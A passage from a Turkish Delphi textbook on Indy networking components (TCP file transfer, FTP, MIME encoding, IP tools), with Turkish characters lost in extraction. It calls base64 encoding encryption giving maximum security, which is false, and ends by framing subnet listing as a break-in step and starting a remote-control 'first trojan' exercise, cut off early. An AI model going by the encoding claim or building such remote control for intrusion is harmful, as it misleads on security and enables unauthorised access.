Gerekli olacak tm kod aada verilmitir. procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread); var dosya:TFileStream;yol:AnsiString; begin if SaveDialog1.Execute Then begin yol:=SaveDialog1.FileName; end; dosya:=TFileStream.Create(yol,fmCreate);//Olutur StatusBar1.Panels[0].Text:='Dosya Alnyor; AThread.Connection.ReadStream(dosya);//dosyaya aktar StatusBar1.Panels[0].Text:='Dosya Gnderimi Tamamland'; end; procedure TForm1.FormCreate(Sender: TObject); begin IdTCPServer1.DefaultPort:=20000; IdTCPServer1.Active:=true; end;

350

imdide Client Uygulamasna ait tasarm verelim. Client Uygulamas

Programn ihtiyac olduu kod blou aada verilmitir. lgili yordamlara ekleyiniz. var boyut:Single; procedure TForm1.Button1Click(Sender: TObject); var dosya:TFileStream; yol:AnsiString; begin if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; end; dosya:=TFileStream.Create(yol,fmOpenRead);//var olan kullan boyut:=dosya.Size; //dosyann uzunluu StatusBar1.Panels[1].Text:=IntToStr(boyut); IdTCPClient1.Connect(); //balan IdTCPClient1.WriteStream(dosya);//aka al end; procedure TForm1.FormCreate(Sender: TObject); begin IdTCPClient1.Host:='10.11.0.180'; IdTCPClient1.Port:=20000; end; 351

procedure TForm1.IdTCPClient1WorkBegin(Sender: TObject; AWorkMode: TWorkMode; const AWorkCountMax: Integer); begin StatusBar1.Panels[0].Text:='Dosya Gnderiliyor'; end; procedure TForm1.IdTCPClient1WorkEnd(Sender: TObject; AWorkMode: TWorkMode); begin StatusBar1.Panels[0].Text:='Dosya Gnderildi'; end;

imdi iki uygulamaya ait exe dosyalarn yanyana altrp Dosya Gnder dmesine basnz. lk olarak gndereceiniz dosyay semenizi isteyecek, ardndan dier uygulama dosyay kaydedecei yeri ve ismini sorup kayt ilemi tamamlanacaktr.

352

IdFTP Kontrol: Indy Clients yapranda yer alan bu kontrol sayesinde FTP sitelerine balanabilir, bu sitelerden dosya indirebilir veya dosya gnderebilirsiniz. Aada kontrole ait zellikler listelenmektedir. IdFTP1.Port FTP sitelerine balanabilmek iin kullanlacak olan port numaras bu zellikle belirlenir. procedure TForm1.FormCreate(Sender: TObject); begin IdFTP1.Port:=21; end; IdFTP1.Host Balanlacak FTP sitesine ait adres bu zellikte tutulur. procedure TForm1.FormCreate(Sender: TObject); begin IdFTP1.Port:=21; IdFTP1.Host:=ftp.microsoft.com; end; IdFTP1.Username ayet site ifre ilemleriniz iin ifre bilgisi istiyorsa kullanc adn bu zellikle belirlemelisiniz. ayet free sitelere ulamak isterseniz o zaman anonymous kullanc ismini kullanabilirsiniz (zorunludur). procedure TForm1.ComboBox1KeyPress(Sender: TObject; var Key: Char); begin IdFTP1.Username:='anonymous'; end;

353

IdFTP1.Password Yetki isteyen siteler iin kullanabileceiniz ifre deerini belirleyen zelliidir. ayet free sitelere ulaacaksanz e-mail adresinizi girmelisiniz. procedure TForm1.ComboBox1KeyPress(Sender: TObject; var Key: Char); begin IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; IdFTP1.Username:='anonymous'; IdFTP1.Password:='n_demirli@mynet.com'; end; end; IdFTP1.List Sitede yer alan dosya veya klasrleri listelemek iin kullanlan methoddur. Geriye dnen deerler Tstrings tipte bir deikende depolanabilir. procedure TForm1.FormCreate(Sender: TObject); var dosyalar:TStrings; begin dosyalar:=TStringList.Create; IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; IdFTP1.Username:='anonymous'; IdFTP1.Password:='n_demirli@mynet.com'; IdFTP1.Connect(); IdFTP1.List(dosyalar,'',false); ComboBox2.Items:=dosyalar; ComboBox2.ItemIndex:=0; end; Methodda kullanlan ikinci parametre listelenecek elemanlar iin kriter belirleyecektir. ayet bo strng () girerseniz tm dosya ve klasrleri, (*.*) girerseniz tm dosyalar (klasrler hari), *.bmp girerseniz sadece bmp uzantl dosyalar listeleyecektir. nc parametre nin false olmas durumunda elemanlarn sadece isimlerini, true olmas durumunda ise isimleriyle beraber dier zelliklerinide listeleyecektir.

354

IdFTP1.Connect() Tm balant ayarlarn yaptktan sonra siteye ulaabilmek iin kullanlan methoddur. procedure TForm1.FormCreate(Sender: TObject); begin IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; IdFTP1.Username:='anonymous'; IdFTP1.Password:='n_demirli@mynet.com'; IdFTP1.Connect();//Balan end; IdFTP1.ChangeDir Balandnz site iin aktif klasr deitirmek iin kullanlan methoddur. ayet webBrowser kullanyorsanz ve dier klasre girerseniz bu methodla aktif dizini deitirmelisiniz. procedure TForm1.Button2Click(Sender: TObject); begin IdFTP1.ChangeDir(Edit1.Text);//yeni dizin end; IdFTP1.RemoveDir Aktif dizin ierisinde bulunan klasr silmek iin kullanlan methoddur. Sadece klasrn ismini girmeniz yeterli olacaktr. procedure TForm1.Button3Click(Sender: TObject); begin IdFTP1.RemoveDir('MISC');//klasr sil end; IdFTP1.ChangeDir Yeni klasrn iini aabilmeniz iin kullanabileceiniz methoddur. Yine sadece klasrn ismini yazmanz yeterli olacaktr.

355

procedure TForm1.Button3Click(Sender: TObject); begin IdFTP1.ChangeDir('MISC');//MISC klasrne ge end; IdFTP1.MakeDir Sitede yeni bo bir klasr oluturmak iin kullanlan methoddur. Oluturulacak olan klasrn sadece ismini girmeniz yeterli olacaktr. procedure TForm1.Button3Click(Sender: TObject); begin IdFTP1.MakeDir('yenioldu');//klasr yarat end; IdFTP1.RemoveDir Aktif klasrn ierisinde var olan klasr silmek iin kullanlan methoddur. Sileceiniz klasrn sadece ismini girmeniz yeterli olacaktr. procedure TForm1.Button3Click(Sender: TObject); begin IdFTP1.RemoveDir('yenioldu');//Belirtilen klasr sil end; IdFTP1.Delete Aktif klasrn ierisindeki dosyay silmek iin kullanlan methoddur. Sadece dosyann ismini girmeniz yeterli olacaktr. procedure TForm1.Button3Click(Sender: TObject); begin IdFTP1.Delete('yenidosya');//dosyay sil end; IdFTP1.Rename Aktif site ierisinde var olan dosyann ismini deitirmek iin kullanlan methoddur. Birinci parametre dosyann ismini, ikinci parametre de deitirildikten sonra alaca yeni ismi belirleyecektir. 356

procedure TForm1.Button3Click(Sender: TObject); begin IdFTP1.Rename('yuksel.txt','zaki.txt');//yuksel.txt yi zeki.txt yap end; IdFTP1.Size Parametre ile belirlenen dosyann uzunluunu hesaplayan methoddur. Parametre deerine sadece dosyann ismini girmeniz yeterli olacaktr. procedure TForm1.Button3Click(Sender: TObject); begin Form1.Caption:=Dosya Boyutu=+IntToStr(IdFTP1.Size('yenidosya')); end; IdFTP1.Quit Siteden ayrlmak iin kullanlan methoddur. procedure TForm1.Button3Click(Sender: TObject); begin IdFTP1.Quit;//k end; IdFTP1.Get Akfit FTP sitesinden dosya indirmek iin kullanlan methoddur. Birinci parametre ile indirilecek dosyann ismini, ikinci parametre ile bilgisayarnzda kaydedeceiniz yeri (ismiyle beraber), nc parametre ile de ayn isimli baka bir dosya varsa zerine yazlp yazlmayacan belirleyebilirsiniz. procedure TForm1.ComboBox2Change(Sender: TObject); //Dosya ndir var mesaj:Integer; dosya:AnsiString; begin mesaj:=Application.MessageBox('Dosya ndirilsinmi','Dosya ndir', MB_YESNO); if mesaj=mrYes Then begin 357

if SaveDialog1.Execute Then dosya:=SaveDialog1.FileName;//Buraya kaydet IdFTP1.Get(ComboBox2.Text,dosya,false);//stne yazma end; end; IdFTP1.Put FTP sitesine dosya yollamak iin kullanacanz methoddur. Birinci parametre dosyann bilgisayarnzda bulunduu adresini (ismiyle beraber), ikinci parametre aktif klasre kaydedilecek olan ismini, nc parametrede stne yazlp yazlmayacan belirleyecektir. procedure TForm1.Button5Click(Sender: TObject); //Dosya Yolla var yol:AnsiString; begin if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; end; IdFTP1.Put(yol,'yeniisim.txt',true); end; IdFTP1.Disconnect Siteden balanty kesmek iin kullanlan methoddur. procedure TForm1.Button1Click(Sender: TObject); //Balanty Kes begin IdFTP1.Disconnect(); end; imdi anlattmz bu zellik ve methodlar programmzda kullanabileceimiz bir rnek yapalm rneimiz iin aada gsterilen tasarm oluturup gerekli olan kodlar Unit penceresine ekleyiniz.

358

Uygulama 9:Ftp Sitelerinden Dosya ndirmek Uygulamamz iin formunuza bir adet IdFTP, bir adet OpenDialog, bir adet SaveDialog, iki adet ComboBox, drt adet Button, bir adet Edit ve bir adet Label kontrol yerletiriniz.

Program iin kullanlacak olan kod blou aada verilmitir. procedure TForm1.FormCreate(Sender: TObject); var dosyalar:TStrings; begin dosyalar:=TStringList.Create; ComboBox1.Items.Add('ftp.bir.net'); ComboBox1.Items.Add('ftp.linux.org.tr'); ComboBox1.Items.Add('ftp.bir.net'); ComboBox1.Items.Add('ftp.microsoft.com'); ComboBox1.ItemIndex:=0;//Drdnc eleman gster WebBrowser1.Navigate(ComboBox1.Text); IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; IdFTP1.Username:='anonymous'; IdFTP1.Password:='n_demirli@mynet.com'; IdFTP1.Connect(); IdFTP1.List(dosyalar,'',false); ComboBox2.Items:=dosyalar; ComboBox2.ItemIndex:=0; Button4.Enabled:=false; ComboBox1.Style:=csOwnerDrawFixed;//giri yok sadece se end; 359

procedure TForm1.ComboBox1Click(Sender: TObject); var dosyalar:TStrings; begin WebBrowser1.Navigate(ComboBox1.Text); dosyalar:=TStringList.Create; ComboBox2.Items.Clear; WebBrowser1.Navigate(ComboBox1.Text); IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; Form1.Caption:=IdFTP1.RetrieveCurrentDir;//aktif dizini yaz IdFTP1.List(dosyalar,'',false); ComboBox2.Items:=dosyalar; ComboBox2.ItemIndex:=0;//ilk eleman gster end; procedure TForm1.ComboBox1KeyPress(Sender: TObject; var Key: Char); var dosyalar:TStrings; begin if Key=#13 Then begin dosyalar:=TStringList.Create; ComboBox2.Items.Clear; WebBrowser1.Navigate(ComboBox1.Text); IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; IdFTP1.Username:='anonymous'; IdFTP1.Password:='n_demirli@mynet.com'; IdFTP1.List(dosyalar,'',false); ComboBox2.Items:=dosyalar; ComboBox2.ItemIndex:=0; end; end; procedure TForm1.Button2Click(Sender: TObject); //Dizin Deitir var dosyalar:TStrings; begin dosyalar:=TStringList.Create; IdFTP1.ChangeDir(Edit1.Text); ComboBox2.Items.Clear; IdFTP1.List(dosyalar,'',false);//klasr ve dosyalar gster 360

ComboBox2.Items:=dosyalar;//aktar ComboBox2.ItemIndex:=0; ComboBox1.Text:=ComboBox1.Text+'/'+Edit1.Text; WebBrowser1.Navigate(ComboBox1.Text); end; procedure TForm1.ComboBox2Change(Sender: TObject); //Dosya ndir var mesaj:Integer; dosya:AnsiString; begin mesaj:=Application.MessageBox('Dosya ndirilsinmi','Dosya ndir',MB_YESNO); if mesaj=mrYes Then begin if SaveDialog1.Execute Then dosya:=SaveDialog1.FileName;//Buraya kaydet IdFTP1.Get(ComboBox2.Text,dosya,false);//stne yazma end; end; procedure TForm1.Button3Click(Sender: TObject); //Balanty Kes begin IdFTP1.Disconnect; Button3.Enabled:=false; Button4.Enabled:=true; Button1.Enabled:=false; Button2.Enabled:=false; WebBrowser1.Navigate('ftp://ftp.bir.net'); ComboBox1.Text:='ftp.bir.net'; ComboBox2.Enabled:=false; end; procedure TForm1.ComboBox1Change(Sender: TObject); var dosyalar:TStrings; begin WebBrowser1.Navigate(ComboBox1.Text); dosyalar:=TStringList.Create; ComboBox2.Items.Clear; WebBrowser1.Navigate(ComboBox1.Text); IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; Form1.Caption:=IdFTP1.RetrieveCurrentDir; 361

IdFTP1.List(dosyalar,'',false); ComboBox2.Items:=dosyalar; ComboBox2.ItemIndex:=0; end; procedure TForm1.Button5Click(Sender: TObject); //Dosya Yolla var yol:AnsiString; begin if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; end; IdFTP1.Put(yol,'yeniisim.txt',true); end; procedure TForm1.Button4Click(Sender: TObject); //Balan var dosyalar:TStrings; begin dosyalar:=TStringList.Create; ComboBox2.Enabled:=true; ComboBox1.ItemIndex:=0;//lk eleman gster WebBrowser1.Navigate(ComboBox1.Text); IdFTP1.Port:=21; IdFTP1.Host:=ComboBox1.Text; IdFTP1.Username:='anonymous'; IdFTP1.Password:='n_demirli@mynet.com'; IdFTP1.Connect(); IdFTP1.List(dosyalar,'',false); ComboBox2.Items:=dosyalar; ComboBox2.ItemIndex:=0; Button4.Enabled:=false; Button3.Enabled:=true; Button1.Enabled:=true; Button2.Enabled:=true; end; imdi program altrabilirsiniz. Uygulamanzn ekran grnts aadaki ekilde gerekleecektir. Dilerseniz balandnz siteye dosya yollayabilir, dilerseniz siteden dosya indirebilirsiniz. Form zerinde yer alan Edit kutusu ierisine klasr deitirmek istediiniz zaman, ierisindeki dosyalar 362

listeleyeceiniz klasrn ismini girmelisiniz. Ardndan Dizin Deitir dmesine basn.

rnekte dikkat edin, ikinci combo ierisindeki elemanlar aktif sitede yer alan indirilebilir dosya isimleri olacaktr. imdi ister dosya indirin, isterseniz dosya gnderin. Dosya indirmek iin ikinci ComboBox dan dosyann ismini semeniz yeterli olacaktr.

363

IdEncoderMIME Kontrol: Indy Misc yapranda yer alan bu kontrol sayesinde dosyalarnz veya metinlerinizi kolayca encript edebilirsiniz. Bilhassa network ortamna aktarlacak olan verilerin encript edilmeleri baz durumlar iin zorunlu olabilir. Dosyalar encript edip gnderirseniz gvenlii max dereceye karm olursunuz. Aada kontrole ait zellikler listelenmektedir. IdEncoderMIME1.EncodeString Parametreyle girilen metni ifrelemek iin kullanlan methoddur. Geriye dnen deer string tip bir deikende tutulabilir. procedure TForm1.Button2Click(Sender: TObject); //Metin Encript Et var deger:AnsiString; begin deger:=IdEncoderMIME1.EncodeString(Memo1.Text); end; ayet bir dosyay encript edecekseniz aadaki kod blounu kullanabilirsiniz. procedure TForm1.Button2Click(Sender: TObject); //Dosya Encript et var dosya:TFileStream; begin dosya:=TFileStream.Create('c:\ali.txt',fmOpenread); IdEncoderMIME1.Encode(dosya); end; Decript etme ilemini gsterdikten sonra bu kontrole ait rneklendirme yaplacaktr. Bu yzden imdilik dier Decript ilemi iin kullanlan kontrole ait zellikleri inceleyeceiz.

364

IdDecoderMIME Kontrol: Indy Misc yapranda yer alan bu kontrol sayesinde IdEncoderMIME kontrolyle kodlanm olan metinler kolayca orjinal hallerine dntrlebilirler. Aada bu kontrole ait zellikle aklanmaya allmaktadr. IdDecoderMIME1.DecodeString IdEncoderMIME kontrol ile kodlanm metinler bu method sayesinde eski hallerine dntrlebilirler. Geriye dnen deer string tipte bir deikene aktarlabilir. procedure TForm1.Button3Click(Sender: TObject); //z var deger:AnsiString; begin deger:=IdDecoderMIME1.DecodeString(Memo2.Text); end; IdDecoderMIME1.DecodeToStream String ierii kodlayp, stream tipte deikene (dosya deikenine) aktarmak iin kullanlan methoddur. procedure TForm1.Button3Click(Sender: TObject); //z dosyaya yolla var deger:AnsiString; dosya:TfileStream; begin IdDecoderMIME1.DecodeToStream(deger,dosya); end; imdi hem Encript, hemde Decript ilemini gerekletirebileceimiz bir rnek yapacaz.

365

Uygulama 9:Dosyalara Encript-Decript lemleri Uygulamak imdiki rneimizde harddiskte yer alan txt uzantl dosya ierisindeki bilgileri memo kontrolnde aarak kodlayacaz. Ardndan kodladmz ierii yine bilgisayarn ierisinde, ayn klasre farkl isimde saklayacaz. kinci admda ise kodladmz dosyay kullanarak Decript ilemini gerekletirerek orjinal dosyay oluturacaz. Aadaki tasarm oluturunuz. lk Yapraa ait tasarm.

kinci yapraa ait tasarm

imdi yapacamz ilemleri adm adm oluturalm. Aadaki hususlar ayn srayla sizde geekletiriniz.

366

Birinci admda formunuza bir adet Indy Misc yapranda yer alan IdEncoderMIME kontrol yerletirin. kinci admda formunuza bir adet Indy Misc yapranda yer alan IdDecoderMIME kontrol yerletirin. nc admda formunuza bir adet Dialog yapranda yer alan OpenDialog kontrol ekleyiniz. Drdnc admda formunuza Win32 yapranda yer alan PageControl kontrol yerletirip iki adet yaprak ekleyin (Bu konular daha nce ki kitabmzda detayl olarak anlatlmtr). Sanyorum dier kontroller iin aklama yapmaya gerek yok tasarm grntsnden kolayca karabilirsiniz. Son olarak aadaki kod bloklarn Unit pencerenize ekleyiniz. implementation uses StrUtils; {$R *.dfm} var klasor:AnsiString; yol:AnsiString; ad:AnsiString; kodludeger:Ansistring; procedure TForm1.Button1Click(Sender: TObject); //Dosya Se begin if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; ad:=ExtractFileName(yol); klasor:=ExtractFilePath(yol); Memo1.Lines.LoadFromFile(yol); label2.Caption:=AnsiReplaceStr(ad,'.','_')+'.xxx';//harfleri deitir end; end; procedure TForm1.Button2Click(Sender: TObject); //Encript var deger:AnsiString; begin deger:=IdEncoderMIME1.EncodeString(Memo1.Text);//metni kodla Memo2.Text:=deger; Memo2.Lines.SaveToFile(klasor+'\'+Label2.Caption);//kaydet end; procedure TForm1.Button3Click(Sender: TObject); 367

//Decript var deger:AnsiString; begin deger:=IdDecoderMIME1.DecodeString(Memo2.Text);//z Memo1.Text:=deger; Memo1.Lines.SaveToFile(klasor+'\'+label5.Caption); end; procedure TForm1.Button5Click(Sender: TObject); //kinci yaprak iin se begin if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; ad:=ExtractFileName(yol); klasor:=ExtractFilePath(yol); Memo2.Lines.LoadFromFile(yol); label5.Caption:=AnsiReplaceStr(ad,'.','_')+'.txt';//harfleri deitir end; end; Program altrdktan sonra Dosya Encript Et yapran aktif hale getirin. Ardndan Se dmesine tklayarak txt uzantl bir dosya bulun. erik Memo kontrolne aktarlacaktr.

Ardndan Encript dmesine tklayarak Memo ierisindeki metnin kodlanmasn salayn (kodlanan metin ayn klasr ierisinde yeni ismiyle kaydedilecektir).

368

imdi Dosya Decript Et yapran aktifletirirseniz. Metnin kodlanm halini Memo2 kontrolnde grebilirsiniz.

ayet kodlanm bir dosyay zecekseniz o zaman ilk olarak Dosya Decript Et yapran aktifletirerek ayn ilemleri tekrarlaynz (bu sefer Encript edilmi dosyay sein). Bu ilemleri uyguladktan sonra orjinal dosyanzn bulunduu klasrn ierisi aadaki ekilde yeni iki dosya daha barndracaktr.

Dikkat edin neticin.txt, neticin_txt.xxx ve neticin_txt_xxx.txt dosyalar pencerede gzkmektedir.

369

Uygulama 10:Stream Tip Deikenlerle Encript-Decript lemleri Bu rneimizde TFileStream tip bir deiken kullanarak dosya encript ve decript ilemlerini gstermek istiyorum. rneimiz iin aadaki form tasarmn oluturunuz.

Formun zerine yerletirilen kontroller iin aklanacak fazla bir ey yok, hepsini yerletiriniz. Ardndan aadaki kod blounu Unit pencerenize ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); begin Memo1.Lines.LoadFromFile('c:\nihat\yuksel.txt'); end; procedure TForm1.Button1Click(Sender: TObject); //Encript var dosya:TFileStream; yol,metin:AnsiString; begin if OpenDialog1.Execute Then begin yol:=OpenDialog1.FileName; Memo1.Lines.LoadFromFile(yol); dosya:=TFileStream.Create(yol,fmOpenRead); metin:=IdEncoderMIME1.Encode(dosya);//Encript Et Memo2.Text:=metin; Memo2.Lines.SaveToFile(yol+'.xxx');//kaydet

370

end; end; procedure TForm1.Button2Click(Sender: TObject); //Decript var dosya:TFileStream; metin,yol:AnsiString; begin if SaveDialog1.Execute Then begin yol:=SaveDialog1.FileName; dosya:=TFileStream.Create(yol,fmCreate);//dosyay yarat metin:=Memo2.Text; IdDecoderMIME1.DecodeToStream(metin,dosya);//z dosyaya aktar dosya.Free; Memo3.Lines.LoadFromFile(yol);//gster end; end; Program altrdktan sonra iki dmeyi de kulanrsanz aadaki ekran grntsyle karlarsnz.

Memo1 ilk dosyaya ait bilgileri gstermektedir. Ardndan uygulanan Encription ilemi sonucunda Memo2 de kodlanm hali, yine uygulanan Decription ilemi sonucunda eski dosya ieriiyle ayn olan yeni dosyann ierii Memo3 kontrolnde gsterilmektedir.

371

IdIPWatch Kontrol: Bu kontrol sayesinde bilgisayarnzn a balantsyla ilgili tm deiiklikleri izlemeniz mmkn olabilmektedir. Ayn zamanda a balants iin kullanlan bir ok zelliide renebilirsiniz. IdIPWatch1.Active A balantsnda olabilecek deiiklikleri izlemek iin bu zellie true deerinin aktarlmas gerekecektir. procedure TForm1.FormCreate(Sender: TObject); begin IdIPWatch1.Active:=true; end; IdIPWatch1.IsOnline Ethernet veya modem balantsnn var olup olmadn bu zellikle kontrol edebilirsiniz. True deerinin dnmesi lokal veya internet balantnzn olduu anlamn tamaktadr. procedure TForm1.Timer1Timer(Sender: TObject); begin if IdIPWatch1.IsOnline Then//balant varsa begin StatusBar1.Panels[0].Text:=IdIPWatch1.CurrentIP; end; dIPWatch1.CurrentIP Bilgisayarnzn o an kulland IP numarasn renebilmeniz iin kullanabileceiniz zelliktir. Geriye string tip deer dnecektir. procedure TForm1.Timer1Timer(Sender: TObject); begin StatusBar1.Panels[0].Text:=IdIPWatch1.CurrentIP; end;

372

IdIPWatch1.LocalName Bilgisayarnzn ismini renebileceiniz zelliidir. procedure TForm1.Timer1Timer(Sender: TObject); begin StatusBar1.Panels[1].Text:=IdIPWatch1.LocalName; end; IdIPWatch1.PreviousIP Bir nce kullanlm olan IP numarasn renebilmek iin kullanlan zelliidir. Daha nce bilgisayarn kulland IP numaralar History ierisinde saklanmaktadr (belli bir deere kadar). procedure TForm1.Timer1Timer(Sender: TObject); begin StatusBar1.Panels[2].Text:=IdIPWatch1.PreviousIP; end; IdIPWatch1.IPHistoryList History de birikmi (daha nce kullanlm olan) IP numaralarn listelemek iin kullanlan zelliidir. ayet kurulum aamasndan sonra tek bir IP deeri kullanlmsa liste bo gelebilir. procedure TForm1.Button1Click(Sender: TObject); var deger:TStrings; begin deger:=TStringList.Create; deger:=IdIPWatch1.IPHistoryList; ListBox1.Items:=deger; end; OnStatusChanged Yordam Balant durumunda deiiklik olmas bu yordam otomatik olarak iletecektir. Yordamn iletilebilmesi iin, a balantsnn aktiflemesi veya aktif olan a balantsnn kapatlmas gerekecektir.

373

IdNetworkCalculator Kontrol: Indy Misc yapranda yer alan bu kontrol sayesinde belirleyeceiniz IP numaras ve Subnet Mask deerine gre, o segmentteki tm zellikleri renebilirsiniz. Bu kontrolle bilgisayarnza ait deerleri deitiremezsiniz sadece olan deerleri renebilirsiniz. IdNetworkCalculator1.NetworkAddress.AsString zelliklerini listelemek istediiniz IP numarasn bu ekilde belirleyebilirsiniz.Atanacak olan deer string tipte bir deikenin deeri olacaktr. procedure TForm1.Button1Click(Sender: TObject); begin IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; end; IdNetworkCalculator1.NetworkMask.AsString zelliklerini belirleyeceiniz IP numarasna ait Subnet Mask deerini bu zellikle belirleyebilirsiniz. IP numarasn belirlediktan sonra buraya rasgele bir deer giremezsiniz. Birazdan bu deeri nasl belirleyebileceiniz hususunda gerekli aklamalar yaplacaktr. procedure TForm1.Button1Click(Sender: TObject); begin IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0'; end; IdNetworkCalculator1.StartIP Belirlediiniz subnet te yer alan ilk IP numarasn bu zellikle renebilirsiniz. procedure TForm1.Button1Click(Sender: TObject); begin IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0'; StatusBar1.Panels[0].Text:=IdNetworkCalculator1.StartIP; end; 374

IdNetworkCalculator1.EndIP Belirlediiniz subnet te yer alan son IP numarasn bu zellikle renebilirsiniz. procedure TForm1.Button1Click(Sender: TObject); begin IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0'; StatusBar1.Panels[0].Text:=IdNetworkCalculator1.EndIP; end; IdNetworkCalculator1.NumIP Belirlenen Sunette ka deiik IP numarasnn yer alabileceini belirleyen zelliktir. procedure TForm1.Button1Click(Sender: TObject); begin IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0'; StatusBar1.Panels[3].Text:=IntToStr(IdNetworkCalculator1.NumIP); end; IdNetworkCalculator1.ListIP O subnette kullanabileceiniz tm IP numaralarn renebileceiniz methoddur. Aada kullanmna ait rneklendirme yaplmaktadr. procedure TForm1.Button2Click(Sender: TObject); var deger:TStrings; begin deger:=TStringList.Create; IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0'; deger:=IdNetworkCalculator1.ListIP; ListBox1.Items:=deger; end;

375

Uygulama 11:IP Numaralandrma imdiki rneimizde belirleyeceimiz IP numaras ile Subnet mask deerine ait zellikleri listeleyebileceimiz ok basit bir uygulama yapacaz. rneimiz iin aadaki tasarm oluturunuz.

Aadaki kod blounu Unit pencerenize ekleyiniz. procedure TForm1.Button1Click(Sender: TObject); //ren begin IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0'; StatusBar1.Panels[0].Text:=IdNetworkCalculator1.StartIP; StatusBar1.Panels[1].Text:=IdNetworkCalculator1.EndIP; StatusBar1.Panels[2].Text:=IdNetworkCalculator1.NetworkAddress.AsString; StatusBar1.Panels[3].Text:=IntToStr(IdNetworkCalculator1.NumIP); end; procedure TForm1.Button2Click(Sender: TObject); //Listele var deger:TStrings; begin deger:=TStringList.Create; IdNetworkCalculator1.NetworkAddress.AsString:='192.168.100.100'; IdNetworkCalculator1.NetworkMask.AsString:='255.255.0.0'; deger:=IdNetworkCalculator1.ListIP; ListBox1.Items:=deger; end; imdi programnz altrabilirsiniz.

376

ren ve Listele isimli dmelere tkladktan sonraki ekran grnts aada verilmitir.

Listede yer alan elemanlar o aa bal bilgisayarlara verilebilecek olan IP numaralarn gstermektedir.

377

Uygulama 12:Balanan Bilgisayarn IP Aral Bilhassa uzmanlarn ok kulland bir yap olan botaki IP numaralarndan birisini kullanp sisteme girme ileminin ilk ksmn yapalm. Yani size balanan bilgisayarn ierisine eriebilmek iin kullanlabilecek olan IP numaralarn listeletelim. Server Uygulamas

Yukardaki form tasarmn oluturup, zerine bir adet IdTCPServer kontrol ile bir adet IdNetworkCalculator kontrol yerletiriniz. Ardndan aadaki kod blounu Unit pencerenize ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); //Portu Dinle begin IdTCPServer1.DefaultPort:=20000; IdTCPServer1.Active:=true; end; procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); var ipno:AnsiString; subnet:AnsiString; liste:TStrings; begin StatusBar1.Panels[0].Text:='Client Baland'; liste:=TStringList.Create; ipno:=AThread.Connection.Socket.Binding.PeerIP; 378

subnet:='255.255.0.0'; IdNetworkCalculator1.NetworkAddress.AsString:=ipno; IdNetworkCalculator1.NetworkMask.AsString:=subnet; liste:=IdNetworkCalculator1.ListIP; ListBox1.Items:=liste; end; Client Uygulamas

Client uygulamas iin formunuza bir adet IdTCPClient kontrol yerletirip aadaki kod blounu formunuza ekleyiniz. procedure TForm1.Button1Click(Sender: TObject); //Balan begin IdTCPClient1.Host:=Edit1.Text; IdTCPClient1.Port:=StrToInt(Edit2.Text); IdTCPClient1.Connect(); end; procedure TForm1.Button2Click(Sender: TObject); //Gnder var mesaj:AnsiString; begin mesaj:=Memo1.Lines.Strings[Memo1.Lines.count-1]; IdTCPClient1.WriteLn(mesaj); end; procedure TForm1.IdTCPClient1Connected(Sender: TObject); 379

begin StatusBar1.Panels[0].Text:='Server a Balanld'; end; procedure TForm1.IdTCPClient1Disconnected(Sender: TObject); begin StatusBar1.Panels[0].Text:='Server ile Balant Koptu'; end; imdi iki uygulamay aadaki ekilde yanyana getirip altrn.

Client uygulamas Server bilgisayarna baland anda, a geidinde yer alan tm IP numaralar listelenecektir. Bu tr network uygulamalarnda kodlarnz try-except blou ierisinde yazmay unutmaynz. Oluabilecek istem d durumlar bu ekilde engelleyebilirsiniz. 380

Uygulama 13:lk Trojan imdiki uygulamamzda iki adet proje gelitirerek Client uygulamasndan Server uygulamasn yneteceiz. Ayn mantkla daha deiik kodlar kullanarak projeyi gelitirebilirsiniz. ki uygulamaya ait tasarm grntleri aada verilmitir. Sizde ayn tasarmlar oluturunuz. Server Uygulamas

Formnuza bir adet ComboBox, bir adet Label ve bir adet IdTcpServer kontrol yerletirerek aadaki kod blounu da Unit pencerenize ekleyiniz. Cd kapan ap kapatmak iin uses satrna MMSYSTEM ktphanesini eklemeyi unutmaynz. procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); begin AThread.Connection.WriteLn('Balant Saland'); StatusBar1.Panels[0].Text:='Komut Bekleniyor'; end; procedure TForm1.FormCreate(Sender: TObject); begin IdTCPServer1.DefaultPort:=20000; IdTCPServer1.Active:=true; end; procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread); var mesaj:AnsiString; i:Integer; ad:Array[0..5] of PAnsiChar; elips:HRGN;

381

